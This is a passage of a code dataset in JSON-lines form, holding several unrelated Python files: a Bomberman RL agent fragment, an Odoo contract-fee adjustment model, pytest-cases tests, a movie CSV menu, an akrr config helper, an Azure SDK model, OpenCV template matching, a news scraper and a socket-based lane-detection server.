Q):\n policy = np.zeros((len(Q),))\n\n # first x steeps only small greedy, then bigger but decline\n epsilon = self.epsilon_min\n if self.game_state['step'] > self.non_greedy_first_steps:\n epsilon = self.epsilon\n new = epsilon - self.epsilon_decay\n self.epsilon = new if new > self.epsilon_min else self.epsilon_min\n \n if np.random.random() > epsilon:\n # exploitation\n policy[np.argmax(Q)] = 1\n else:\n # exploration\n policy = np.full((len(Q),), 1/len(Q))\n\n return policy\n\n\n# returns direction to closest thing out of list of given positions\ndef get_direction(positions, arena, avalue, xme, yme):\n if not len(positions):\n return [], directions['NONE'], arena\n \n distance, pointer = np.array([]), np.array([])\n for p in positions:\n x, y = p[0], p[1]\n arena[x, y] = avalue\n distance = np.append(distance, np.sqrt((x - xme)**2 + (y - yme)**2))\n if (x == xme):\n if (y == yme):\n pointer = np.append(pointer, directions['ONTOP'])\n elif (y > yme):\n pointer = np.append(pointer, directions['DOWN'])\n else:\n pointer = np.append(pointer, directions['UP'])\n elif (y == yme):\n if (x > xme):\n pointer = np.append(pointer, directions['RIGHT'])\n else:\n pointer = np.append(pointer, directions['LEFT'])\n elif (x > xme):\n if (y > yme):\n pointer = np.append(pointer, directions['RIGHTDOWN'])\n else:\n pointer = np.append(pointer, directions['RIGHTUP'])\n else:\n if (y > yme):\n pointer = np.append(pointer, directions['LEFTDOWN'])\n else:\n pointer = np.append(pointer, directions['LEFTUP'])\n\n pointer = pointer[np.argmin(distance)]\n return distance, int(pointer), arena\n\n\n# give agent information about\n# radius = 5\n# direction of next bomb, player, coin\n# if he is in danger, i.e., in radius of a bomb\ndef simplify_state(self):\n xme, yme, _, _, _ = self.game_state['self']\n\n a = self.game_state['arena']\n e = self.game_state['explosions']\n # draw explosions on arena\n e[e != 0] = 2\n a = a + e\n\n # get pointer to next coin and draw all\n _, cdir, a = get_direction(self.game_state['coins'], a, 3, xme, yme)\n\n # get pointer to next bomb and draw all\n bdist, bdir, a = get_direction(self.game_state['bombs'], a, 4, xme, yme)\n\n # set flag, if agent is in radius of bomb\n alert = 0\n if len(bdist):\n if sum(bdist < 4) > 0:\n alert = 1\n\n # show all fields in radius of 4\n minx, miny = xme-4, yme-4\n if minx < 0:\n minx = 0\n if miny < 0:\n miny = 0\n\n vision = a[minx:xme+5, miny:yme+5]\n vision = vision.flatten().astype(np.int8).astype(str)\n vision = ''.join(vision)\n \n # create simplified state\n state = vision + str(cdir) + str(bdir) + str(alert)\n # self.logger.warn(state)\n return state\n","sub_path":"src/agent_code/crate_coin_collector/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":13585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"376701255","text":"# -*- coding: utf-8 -*-\nfrom odoo import fields, models, api\nfrom odoo.exceptions import ValidationError\nfrom datetime import datetime\nfrom odoo.tools import DEFAULT_SERVER_DATE_FORMAT as DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT as DATETIME_FORMAT\nfrom shop_equipment import EQUIPMENT_TYPE_SELECTION\n\nimport xlrd\nimport json\nimport odoo.addons.decimal_precision as dp\n\n# 字段只读状态\nREADONLY_STATES = {\n 'done': [('readonly', True)],\n}\n\n\nclass ContractFeeAdjust(models.Model):\n _name = 'contract.fee.adjust'\n _description = u'合同费用调整'\n _inherit = ['mail.thread']\n _order = 'create_date desc'\n\n company_id = fields.Many2one('res.company', '公司',\n default=lambda self: self.env['res.company']._company_default_get(),\n track_visibility='onchange', states=READONLY_STATES)\n name = fields.Char('调整说明', track_visibility='onchange')\n contract_id = fields.Many2one('property.contract', '合同', states=READONLY_STATES, track_visibility='onchange')\n get_partner_id = fields.Many2one('partner', '合同甲方', domain=[('s_category_id', '!=', False)],\n states=READONLY_STATES,\n track_visibility='always')\n partner_shop_ids = fields.Many2many('partner.shop', 'cfa_shop_rel', 'cfa_id', 'shop_id', '店铺',\n track_visibility='always', states=READONLY_STATES)\n date_from = fields.Date('开始日期',\n states=READONLY_STATES,\n track_visibility='always')\n date_to = fields.Date('截止日期',\n states=READONLY_STATES,\n track_visibility='always')\n partner_contact_person = fields.Char('商家联系人', track_visibility='always', states=READONLY_STATES)\n partner_contact_phone = fields.Char('商家联系电话', track_visibility='always', states=READONLY_STATES)\n contract_holder = fields.Char('合同签订人', track_visibility='always', states=READONLY_STATES)\n merchant_reception = fields.Char('商户对接人', track_visibility='always', states=READONLY_STATES)\n area = fields.Float('面积(平方米)', track_visibility='always', states=READONLY_STATES)\n public_area = fields.Float('加公摊面积(平方米)', track_visibility='always', states=READONLY_STATES)\n cold_storage_area = fields.Float('恒温库租用面积(平方米)', track_visibility='always', states=READONLY_STATES)\n state = fields.Selection([('draft', '未审核'), ('done', '已审核')], '状态', default='draft', track_visibility='onchange')\n line1_ids = fields.One2many('contract.fee.adjust.line1', 'adjust_id')\n line2_ids = fields.One2many('contract.fee.adjust.line2', 'adjust_id', states=READONLY_STATES)\n money_record_ids = fields.Many2many('money.record', 'cfa_mr_rel', 'adjust_id', 'record_id', '收款单', help='需重新审核的收款单')\n\n @api.onchange('contract_id')\n def onchange_contract_id(self):\n lines1 = [(2, line1.id) for line1 in self.line1_ids]\n lines2 = [(2, line2.id) for line2 in self.line2_ids]\n self.line1_ids = lines1\n self.line2_ids = lines2\n\n # 基本信息\n self.get_partner_id = self.contract_id.get_partner_id.id\n self.partner_shop_ids = self.contract_id.partner_shop_ids.ids\n self.date_from = self.contract_id.date_from\n self.date_to = self.contract_id.date_to\n self.partner_contact_person = self.contract_id.partner_contact_person\n self.partner_contact_phone = self.contract_id.partner_contact_phone\n self.contract_holder = self.contract_id.contract_holder\n self.merchant_reception = self.contract_id.merchant_reception\n self.area = self.contract_id.area\n self.public_area = self.contract_id.public_area\n self.cold_storage_area = self.contract_id.cold_storage_area\n\n vals = []\n for contract_fee in self.contract_id.fee_ids:\n val = {\n 'contract_fee_id': contract_fee.id,\n 'fee_id': contract_fee.fee_id.id,\n 'compute_period': contract_fee.compute_period,\n 'amount': contract_fee.amount,\n 'date_from': contract_fee.date_from,\n 'date_to': contract_fee.date_to\n }\n vals.append((0, 0, val))\n\n self.line1_ids = vals\n self.line2_ids = vals\n\n @api.model\n def create(self, val):\n contract_obj = self.env['property.contract']\n\n if 'contract_id' in val and 'line1_ids' not in val:\n lines1 = []\n if val['contract_id']:\n for contract_fee in contract_obj.browse(val['contract_id']).fee_ids:\n line1 = {\n 'contract_fee_id': contract_fee.id,\n 'fee_id': contract_fee.fee_id.id,\n 'compute_period': contract_fee.compute_period,\n 'amount': contract_fee.amount,\n 'date_from': contract_fee.date_from,\n 'date_to': contract_fee.date_to\n }\n lines1.append((0, 0, line1))\n\n val['line1_ids'] = lines1\n\n return super(ContractFeeAdjust, self).create(val)\n\n @api.multi\n def write(self, val):\n contract_obj = self.env['property.contract']\n\n if 'contract_id' in val and 'line1_ids' not in val:\n self.ensure_one()\n\n lines1 = []\n # 删除已存在的数据\n for l1 in self.line1_ids:\n lines1.append((2, l1.id))\n\n if val['contract_id']:\n for contract_fee in contract_obj.browse(val['contract_id']).fee_ids:\n line1 = {\n 'contract_fee_id': contract_fee.id,\n 'fee_id': contract_fee.fee_id.id,\n 'compute_period': contract_fee.compute_period,\n 'amount': contract_fee.amount,\n 'date_from': contract_fee.date_from,\n 'date_to': contract_fee.date_to\n }\n lines1.append((0, 0, line1))\n\n val['line1_ids'] = lines1\n\n return super(ContractFeeAdjust, self).write(val)\n\n @api.multi\n def unlink(self):\n for obj in self:\n if obj.state == 'done':\n raise ValidationError('不能删除已审核的单据')\n return super(ContractFeeAdjust, self).unlink()\n\n @api.one\n def state_done(self):\n fee_detail_obj = self.env['contract.fee.detail']\n money_record_obj = self.env['money.record']\n source_line_obj = self.env['source.order.line']\n\n def delete_contract_fee():\n fee_details = fee_detail_obj.search([('contract_fee_id', '=', line2.contract_fee_id.id)])\n invoice_ids = [fee_detail.get_invoice_id.id for fee_detail in fee_details]\n # 获取需重新审核的收款单\n source_lines = source_line_obj.search([('name', 'in', invoice_ids)])\n money_records = money_record_obj.search([('source_ids', 'in', source_lines.ids)])\n # 收款记录反审核\n money_records.sudo().state_draft()\n self.money_record_ids = [(6, 0, money_records.ids)]\n # 反审核对应费用\n fee_details.state_draft()\n # 删除对应费用\n fee_details.unlink()\n\n if self.env.user.id != 1 and self.create_uid.id == self.env.user.id:\n raise ValidationError(u'不能审核本人创建的单子')\n\n # 修改基本信息\n self.contract_id.write({\n 'get_partner_id': self.get_partner_id.id,\n 'partner_shop_ids': [(6, 0, self.partner_shop_ids.ids)],\n 'date_from': self.date_from,\n 'date_to': self.date_to,\n 'partner_contact_person': self.partner_contact_person,\n 'partner_contact_phone': self.partner_contact_phone,\n 'contract_holder': self.contract_holder,\n 'merchant_reception': self.merchant_reception,\n 'area': self.area,\n 'public_area': self.public_area,\n 'cold_storage_area': self.cold_storage_area,\n })\n\n generate = False\n for line2 in self.line2_ids:\n if line2.adjust_mode == 'unchanged':\n continue\n elif line2.adjust_mode == 'change':\n generate = True\n\n delete_contract_fee()\n\n line2.contract_fee_id.write({\n 'fee_id': line2.fee_id.id,\n 'compute_period': line2.compute_period,\n 'amount': line2.amount,\n 'date_from': line2.date_from,\n 'date_to': line2.date_to,\n })\n\n elif line2.adjust_mode == 'new':\n generate = True\n self.contract_id.fee_ids = [(0, 0, {\n 'fee_id': line2.fee_id.id,\n 'compute_period': line2.compute_period,\n 'amount': line2.amount,\n 'date_from': line2.date_from,\n 'date_to': line2.date_to,\n })]\n elif line2.adjust_mode == 'deleted':\n delete_contract_fee()\n line2.contract_fee_id.unlink()\n\n # 重新生成费用\n if generate:\n self.contract_id.all_fee_generate_by_contract(auto_done=True)\n\n self.state = 'done'\n\n\nclass ContractFeeAdjustLine1(models.Model):\n _name = 'contract.fee.adjust.line1'\n _description = u'合同费用(调整前)'\n\n adjust_id = fields.Many2one('contract.fee.adjust')\n contract_fee_id = fields.Many2one('contract.fee', '合同费用')\n fee_id = fields.Many2one('core.value', '费用', domain=[('type', '=', 'shop_fee_type')],\n context={'type': 'shop_fee_type'})\n compute_period = fields.Selection(\n [('month', '月'), ('quarterly', '季'), ('six_months', '半年'), ('year', '年'), ('once', '一次性缴纳')], '计费周期')\n amount = fields.Float('金额')\n date_from = fields.Date('开始日期')\n date_to = fields.Date('截止日期')\n\n\nclass ContractFeeAdjustLine2(models.Model):\n _name = 'contract.fee.adjust.line2'\n _description = u'合同费用(调整后)'\n\n @api.one\n @api.depends('fee_id', 'compute_period', 'amount', 'date_from', 'date_to', 'deleted')\n def _cpt_is_update(self):\n line1_obj = self.env['contract.fee.adjust.line1']\n\n if self.contract_fee_id:\n # 修改\n line1 = line1_obj.search(\n [('adjust_id', '=', self.adjust_id.id), ('contract_fee_id', '=', self.contract_fee_id.id)], limit=1)\n if self.deleted:\n self.adjust_mode = 'deleted'\n return\n\n if self.fee_id != line1.fee_id:\n self.adjust_mode = 'change'\n elif self.compute_period != line1.compute_period:\n self.adjust_mode = 'change'\n elif round(self.amount, 2) != round(line1.amount, 2):\n self.adjust_mode = 'change'\n elif self.date_from != line1.date_from:\n self.adjust_mode = 'change'\n elif self.date_to != line1.date_to:\n self.adjust_mode = 'change'\n else:\n self.adjust_mode = 'unchanged'\n\n else:\n # 新增\n self.adjust_mode = 'new'\n\n adjust_id = fields.Many2one('contract.fee.adjust')\n contract_fee_id = fields.Many2one('contract.fee', '合同费用')\n fee_id = fields.Many2one('core.value', '费用', domain=[('type', '=', 'shop_fee_type')],\n context={'type': 'shop_fee_type'})\n compute_period = fields.Selection(\n [('month', '月'), ('quarterly', '季'), ('six_months', '半年'), ('year', '年'), ('once', '一次性缴纳')], '计费周期')\n amount = fields.Float('金额')\n date_from = fields.Date('开始日期')\n date_to = fields.Date('截止日期')\n deleted = fields.Boolean('删除')\n adjust_mode = fields.Selection([('unchanged', '不变'), ('change', '修改'), ('new', '新增'), ('deleted', '删除')], '修改方式', compute=_cpt_is_update, store=1)","sub_path":"my_addons/anxe_property/models/contract_fee_adjust.py","file_name":"contract_fee_adjust.py","file_ext":"py","file_size_in_byte":12353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"421098223","text":"# Authors: Sylvain MARIE \n# + All contributors to \n#\n# License: 3-clause BSD, \nimport pytest\n\nfrom pytest_cases import parametrize, lazy_value, fixture, fixture_ref\n\n\n@fixture\n@parametrize(\"i\", [13, 11])\ndef tfix(i):\n return i, i+2\n\n\n@fixture\n@parametrize(\"i\", [5, 7])\ndef vfix(i):\n return -i\n\n\ndef valtuple():\n return 1, 2\n\n\ndef val():\n return 1\n\n\nflag = False\n\n\ndef valtuple_toskip():\n return 15, 2\n\n\ndef valtuple_only_right_when_lazy():\n global flag\n if flag:\n return 0, -1\n else:\n raise ValueError(\"not yet ready ! you should call me later \")\n\n\nhas_pytest_param = hasattr(pytest, 'param')\nif not has_pytest_param:\n @parametrize(\"a,b\", [lazy_value(valtuple),\n lazy_value(valtuple, id='A'),\n fixture_ref(tfix),\n (fixture_ref(vfix), lazy_value(val)),\n (lazy_value(val, id='B'), fixture_ref(vfix)),\n (fixture_ref(vfix), fixture_ref(vfix)),\n ], debug=True)\n def test_foo_multi(a, b):\n \"\"\"here the fixture is used for both parameters at the same time\"\"\"\n global flag\n flag = True\n assert (a, b) in ((1, 2), (1, 1), (13, 15), (11, 13), (-5, 1), (-7, 1), (1, -5), (1, -7), (-5, -5), (-7, -7))\n\n\n def test_synthesis2(module_results_dct):\n assert list(module_results_dct) == ['test_foo_multi[valtuple]',\n 'test_foo_multi[A]',\n 'test_foo_multi[tfix-13]',\n 'test_foo_multi[tfix-11]',\n 'test_foo_multi[vfix-val-5]',\n 'test_foo_multi[vfix-val-7]',\n 'test_foo_multi[B-vfix-5]',\n 'test_foo_multi[B-vfix-7]',\n 'test_foo_multi[vfix-vfix-5]',\n 'test_foo_multi[vfix-vfix-7]'\n ]\n\nelse:\n @parametrize(\"a,b\", [lazy_value(valtuple),\n pytest.param(lazy_value(valtuple, id='A')),\n pytest.param(lazy_value(valtuple_toskip), id='Wrong', marks=pytest.mark.skip),\n fixture_ref(tfix),\n (fixture_ref(vfix), lazy_value(val)),\n pytest.param(lazy_value(val), fixture_ref(vfix), id='B'),\n (fixture_ref(vfix), fixture_ref(vfix)),\n ], debug=True)\n def test_foo_multi(a, b):\n \"\"\"here the fixture is used for both parameters at the same time\"\"\"\n global flag\n flag = True\n assert (a, b) in ((1, 2), (1, 1), (13, 15), (11, 13), (-5, 1), (-7, 1), (1, -5), (1, -7), (-5, -5), (-7, -7))\n\n\n def test_synthesis2(module_results_dct):\n assert list(module_results_dct) == [\n 'test_foo_multi[valtuple]',\n 'test_foo_multi[A]',\n 'test_foo_multi[tfix-13]',\n 'test_foo_multi[tfix-11]',\n 'test_foo_multi[vfix-val-5]',\n 'test_foo_multi[vfix-val-7]',\n 'test_foo_multi[B-5]',\n 'test_foo_multi[B-7]',\n 'test_foo_multi[vfix-vfix-5]',\n 'test_foo_multi[vfix-vfix-7]'\n ]\n","sub_path":"tests/pytest_extension/parametrize_plus/test_lazy_value_and_fixture_ref2.py","file_name":"test_lazy_value_and_fixture_ref2.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404202909","text":"import csv as csv\r\n\r\n\r\n\r\ndef showMenu():\r\n print(\"1.Add Movie\")\r\n print(\"2.View movie list\")\r\n print(\"3.Search Movie\")\r\n print(\"4.Quit Movie\")\r\n return (input(\"Please choose: \"))\r\n\r\n\r\ndef run():\r\n choice = 0\r\n while(choice != \"4\"):\r\n choice = showMenu()\r\n if(choice == \"1\"):\r\n print(\"\\r################################\\r\")\r\n AddMovie()\r\n print(\"\\r#################################\\r\") \r\n elif(choice == \"2\"):\r\n print(\"\\r#################################\\r\")\r\n ShowMovies()\r\n print(\"\\r#################################\\r\")\r\n elif(choice == \"3\"):\r\n print(\"Search Movies\")\r\n elif(choice == \"4\"):\r\n print(\"quitting\")\r\n break\r\n else:\r\n print(\"please choose a valid option\")\r\n\r\n\r\ndef ShowMovies():\r\n with open(\"movies1.csv\", \"r\") as moviesFile:\r\n moviesReader = csv.DictReader(moviesFile, delimiter=\"|\")\r\n for row in moviesReader:\r\n print(row[\"name\"])\r\n \r\n \r\n \r\ndef AddMovie():\r\n movieHeader = {\"name\": \"name\", \"director\": \"director\", \"year\": \"year\"\r\n , \"genre\": \"genre\", \"rating\": \"rating\"}\r\n movieList = []\r\n choice = \"Y\"\r\n while(choice == \"Y\"):\r\n newMovie= { }\r\n newMovie[\"name\"] = input(\"Please enter the name of the movie: \")\r\n newMovie[\"director\"] = input(\"Please enter the director name: \")\r\n newMovie[\"genre\"] = input(\"Please enter the genre: \")\r\n newMovie[\"year\"] = input(\"Please enter the year: \")\r\n newMovie[\"rating\"] = input(\"Please enter the rating: \")\r\n movieList.append(newMovie)\r\n choice = input(\"Continue Y/N?\")\r\n \r\n with open(\"movies.csv\", \"w\") as moviesFile:\r\n moviesWriter = csv.DictWriter(moviesFile, fieldnames=movieHeader, delimiter=\"|\")\r\n moviesWriter.writeheader()\r\n moviesWriter.writerows(movieList)\r\n\r\n\r\nif __name__ == '__main__':\r\n run()","sub_path":"UdemyCourseProjects/MovieDB/MovieSelector.py","file_name":"MovieSelector.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"308689130","text":"from enum import Enum\n\n# Debug flag, if True then akrr executed in debug mode, launched as akrr daemon startdeb\n# it also imply daemon is executed in foreground\ndebug = False\n# If not None overwrite max_task_handlers, 0 means executed by main thread\ndebug_max_task_handlers = None\n# If not None overwrite redirect_task_processing_to_log_file\ndebug_redirect_task_processing_to_log_file = None\n# Dry run option for certain operations\ndry_run = False\n\n\nclass AKRRHomeType(Enum):\n unknown = 0\n in_default_path = 2\n in_env_path = 3\n\n\ndef get_akrr_dirs(akrr_home: str = None):\n \"\"\"\n return akrr directories\n\n AKRR home is determine in following order\n 1) If akrr_home is set it will use it. And set environment variable\n This is mostly used during setup.\n 2) AKRR_HOME if AKRR_HOME environment variable is defined.\n This is the case if akrr configs and appkernels running results\n are stored not in standard place.\n 3) ~/akrr if initiated from RPM, that is akrr is in /usr/bin.\n \"\"\"\n import os\n import inspect\n from .util import which\n from akrr.util import log\n\n akrr_mod_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n\n akrr_home_type = AKRRHomeType.unknown\n\n # default location\n akrr_home_default = os.path.expanduser(\"~/akrr\")\n akrr_cfg_default = os.path.expanduser(\"~/akrr/etc/akrr.conf\")\n\n if akrr_home:\n os.environ[\"AKRR_HOME\"] = akrr_home\n\n # location from env\n if \"AKRR_HOME\" in os.environ:\n akrr_home_env = os.path.abspath(os.path.expanduser(os.environ[\"AKRR_HOME\"]))\n akrr_cfg_env = os.path.join(akrr_home_env, 'etc', 'akrr.conf')\n else:\n akrr_home_env = None\n akrr_cfg_env = None\n\n # in source location\n if os.path.isfile(os.path.join(os.path.dirname(akrr_mod_dir), 'bin', 'akrr')):\n # i.e. akrr running from source code or non-standard location\n akrr_bin_dir = os.path.abspath(os.path.expanduser(os.path.join(os.path.dirname(akrr_mod_dir), 'bin')))\n akrr_cli_fullpath = os.path.join(akrr_bin_dir, 'akrr')\n in_src_run = True\n else:\n akrr_cli_fullpath = which('akrr')\n akrr_bin_dir = os.path.abspath(os.path.expanduser(os.path.dirname(akrr_cli_fullpath)))\n in_src_run = False\n\n if akrr_home_env and akrr_home_default and akrr_home_env != akrr_home_default:\n akrr_home = akrr_home_env\n akrr_cfg = akrr_cfg_env\n akrr_home_type = AKRRHomeType.in_env_path\n log.debug(\"AKRR_HOME is set. AKRR configuration is in \" + akrr_cfg)\n else:\n akrr_home = akrr_home_default\n akrr_cfg = akrr_cfg_default\n akrr_home_type = AKRRHomeType.in_default_path\n log.debug(\"AKRR_HOME is in default location. AKRR configuration is in \" + akrr_cfg)\n\n # location of akrr cfg directory\n cfg_dir = os.path.dirname(akrr_cfg)\n\n # directory with templates\n templates_dir = os.path.join(akrr_mod_dir, 'templates')\n default_dir = os.path.join(akrr_mod_dir, 'default_conf')\n # directory with appkernels inputs and some script archives\n appker_repo_dir = os.path.join(akrr_mod_dir, 'appker_repo')\n\n return {\n 'in_src_install': in_src_run,\n 'akrr_home_type': akrr_home_type,\n 'akrr_mod_dir': akrr_mod_dir,\n 'akrr_bin_dir': akrr_bin_dir,\n 'akrr_cli_fullpath': akrr_cli_fullpath,\n 'akrr_cfg': akrr_cfg,\n 'akrr_home': akrr_home,\n 'cfg_dir': cfg_dir,\n 'templates_dir': templates_dir,\n 'default_dir': default_dir,\n 'appker_repo_dir': appker_repo_dir,\n }\n","sub_path":"akrr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130589644","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass Data(Model):\n \"\"\"Data.\n\n :param handler_path:\n :type handler_path: str\n :param inputs:\n :type inputs: list[str]\n :param outputs:\n :type outputs: list[str]\n :param tables:\n :type tables: ~azure.synapse.models.Tables\n :param config:\n :type config: ~azure.synapse.models.Config\n \"\"\"\n\n _attribute_map = {\n 'handler_path': {'key': 'handlerPath', 'type': 'str'},\n 'inputs': {'key': 'inputs', 'type': '[str]'},\n 'outputs': {'key': 'outputs', 'type': '[str]'},\n 'tables': {'key': 'tables', 'type': 'Tables'},\n 'config': {'key': 'config', 'type': 'Config'},\n }\n\n def __init__(self, **kwargs):\n super(Data, self).__init__(**kwargs)\n self.handler_path = kwargs.get('handler_path', None)\n self.inputs = kwargs.get('inputs', None)\n self.outputs = kwargs.get('outputs', None)\n self.tables = kwargs.get('tables', None)\n self.config = kwargs.get('config', None)\n","sub_path":"src/synapse/azext_synapse/vendored_sdks/azure_synapse/models/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"156470329","text":"import cv2\nimport logging\nimport numpy as np\nfrom utils import display_imgs\n\nlogging.basicConfig(\n filename='/tmp/cv_logo.log',\n level=logging.DEBUG\n)\n\npath = './test_case/1024x0_1_q87_autohomecar__wKjB0FoFjIGAP10EAAfLm6cQkfg423.jpg'\npath = './resource3.jpg'\nresource = cv2.imread(path)\nresource_grey = cv2.cvtColor(resource, cv2.COLOR_BGR2GRAY)\ntmpl = cv2.imread('target3.png', 0)\nw, h = tmpl.shape[::-1]\n\nimgs = [resource, tmpl]\nmethods = ['cv2.TM_CCOEFF', 'cv2.TM_CCOEFF_NORMED', 'cv2.TM_CCORR',\n 'cv2.TM_CCORR_NORMED', 'cv2.TM_SQDIFF', 'cv2.TM_SQDIFF_NORMED']\n\nlogging.debug('===================================================')\n\nloc_list = []\n\nfor meth in methods:\n img = resource.copy()\n method = eval(meth)\n\n # Apply template Matching\n res = cv2.matchTemplate(resource_grey.copy(), tmpl, method)\n\n min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)\n\n # If the method is TM_SQDIFF or TM_SQDIFF_NORMED, take minimum\n if method in [cv2.TM_SQDIFF, cv2.TM_SQDIFF_NORMED]:\n top_left = max_loc\n else:\n top_left = min_loc\n\n for index, loc in enumerate([min_loc, max_loc]):\n logging.debug('{}, {}, {}'.format(\n 'loc',\n type(loc),\n loc\n ))\n\n top_left = loc\n bottom_right = (top_left[0] + w, top_left[1] + h)\n img = resource.copy()\n cv2.rectangle(img, top_left, bottom_right, (255, 0, 0), 5)\n\n img_list = [\n ['resource', resource],\n ['tmpl', tmpl],\n ['Matching Result', res],\n ['Detacted Point', img]\n ]\n\n slug = ('_min' + str(min_val)) if index == 0 else ('_max' + str(max_val))\n\n display_imgs(img_list, meth + slug)\n","sub_path":"code/cv_logo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"167406311","text":"from bs4 import BeautifulSoup as soup # HTML data structure\r\nfrom urllib.request import urlopen as uReq # Web client\r\npage_link_list=[]\r\nlink_list=[]\r\ntype_list=[]\r\narticle_list=[]\r\narticle_title_list=[]\r\n\r\n\r\nfor i in range(2):\r\n page_link_list.append(\"http://www.radiojeunes.tn/category/%d8%a7%d9%84%d8%a3%d8%ae%d8%a8%d8%a7%d8%b1/page/\"+str(i+1)+\"/\")\r\n\r\nfor i in page_link_list : #extracing (link , type ) of each article\r\n # URl to web scrap from.\r\n # in this example we web scrap graphics cards from Newegg.com\r\n \r\n # opens the connection and downloads html page from url\r\n uClient = uReq(i)\r\n\r\n # parses html into a soup data structure to traverse html\r\n page_soup = soup(uClient.read(), \"html.parser\")\r\n uClient.close()\r\n #finds each Article \r\n print('Scraping radiojeunes.tn/fr in progress ...')\r\n containers = page_soup.findAll(\"ul\", {\"class\": \"mediaHeadingList _M20\"})\r\n container = containers[0].findAll(\"li\") #list contains the html code of each article\r\n \r\n \r\n for con in container:\r\n #con contains the code of one article \r\n \r\n link=con.a[\"href\"] \r\n link_list.append(link) #fils link_list with all articles links\r\n \r\n article_title_list.append(con.h1.text)\r\n \r\nfor i in range(len(link_list)): \r\n #Scraping One Page Code \r\n uClient = uReq(link_list[i])\r\n page_soup = soup(uClient.read(), \"html.parser\")\r\n uClient.close()\r\n containers = page_soup.findAll(\"article\")\r\n ch=containers[0].findAll(\"section\")[0].p.text\r\n article_list.append(ch)\r\n\r\n print(str(i+1)+\" of \"+str(len(link_list)) +\" :DONE\")\r\n\r\n\r\nimport pandas as pd \r\ndata={ 'title' : article_title_list , 'article' : article_list ,'link' : link_list }\r\ndf = pd.DataFrame (data, columns = ['link','title','article'])\r\nimport numpy as np\r\ndf[\"type\"]= np.nan\r\n\r\n\r\n\r\ndf.to_csv('RadioJeune:AR.csv' ,encoding='utf-8-sig')\r\n\r\n","sub_path":"Radio Jeune.py","file_name":"Radio Jeune.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"532000016","text":"#\n# name: backend/start.py\n# Python 3.6\n# Description:\n# server side (backend) - all heavy lifting happens here\n#\n#\n\n\nimport socket\nimport time\nimport sys\nimport base64\nimport numpy as np\nimport cv2\nimport _thread\n\n\n#>>> DEFINING DEFAULT ADRESSES AND PORT <<<\nIP_Adress_Server = \"192.168.178.32\" #socket.gethostname()\nPORT_server = 5555\n\nIP_Adress_Client = \"192.168.178.49\"\nPORT_Client = 5544\n\n#>>> DEFINING SERVER-SIDE SETTINGS <<<\nbuffer_size = 95000\ntickRate = 1/60\n\n#>>> DEFINING SERVER-SIDE COMMANDS (OPCODE) <<<\ncmd_turnLeft = b'0x1a1'\ncmd_turnRight = b'0x2a2'\ncmd_onTrack = b'0x3a3'\n\n#>>> DEFINING TEST VARIABLES <<<\ndataByte = b''\n\n\ndef sender():\n global senderSocket\n senderSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n senderSocket.connect((IP_Adress_Client, PORT_Client))\n print(time.strftime(\"%X \", time.gmtime()) + \" Connected to client!\")\n\n\n\n\ndef receiver():\n global dataByte\n receiverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n receiverSocket.bind((IP_Adress_Server, PORT_server))\n receiverSocket.listen(1)\n\n\n print(time.strftime(\"%X \", time.gmtime()) + \" Waiting for client..\")\n conn, addr = receiverSocket.accept()\n print(time.strftime(\"%X \", time.gmtime()) + \" Connection accepted; \" + str(addr))\n _thread.start_new_thread(sender,())\n _thread.start_new_thread(laneControl,())\n while True:\n\n time.sleep(tickRate)\n data = conn.recv(buffer_size)\n\n if (sys.getsizeof(data) > 500):\n dataByte = data\n\n\n\n\n\n\n\ndef laneControl():\n global dataByte\n global senderSocket\n time.sleep(0.8)\n print(time.strftime(\"%X \", time.gmtime()) + \" Receiving video stream from \" + str(IP_Adress_Client) + str(PORT_Client))\n while True:\n try:\n\n time.sleep(tickRate)\n imgString = dataByte.decode()\n img = base64.b64decode(imgString)\n npimg = np.fromstring(img, dtype=np.uint8)\n source = cv2.imdecode(npimg, 1)\n\n #lane detection\n\n\n #crop_img = source[100:300, 100:300]\n crop_img = source\n gray = cv2.cvtColor(crop_img, cv2.COLOR_BGR2GRAY)\n\n\n blur = cv2.GaussianBlur(gray,(5,5),0)\n\n ret,thresh = cv2.threshold(blur,60,255,cv2.THRESH_BINARY_INV)\n\n _,contours,hierarchy = cv2.findContours(thresh.copy(), 1, cv2.CHAIN_APPROX_NONE)\n\n if len(contours) > 0:\n\n c = max(contours, key=cv2.contourArea)\n\n M = cv2.moments(c)\n\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n\n cv2.line(crop_img,(cx,0),(cx,720),(255,0,0),1)\n cv2.line(crop_img,(0,cy),(1280,cy),(255,0,0),1)\n cv2.drawContours(crop_img, contours, -1, (0,255,0), 1)\n\n\n if cx >= 120:\n print (\"Turn Right!\")\n senderSocket.send(cmd_turnRight)\n\n if cx < 120 and cx > 50:\n print (\"On Track!\")\n senderSocket.send(cmd_onTrack)\n\n if cx <= 50:\n print 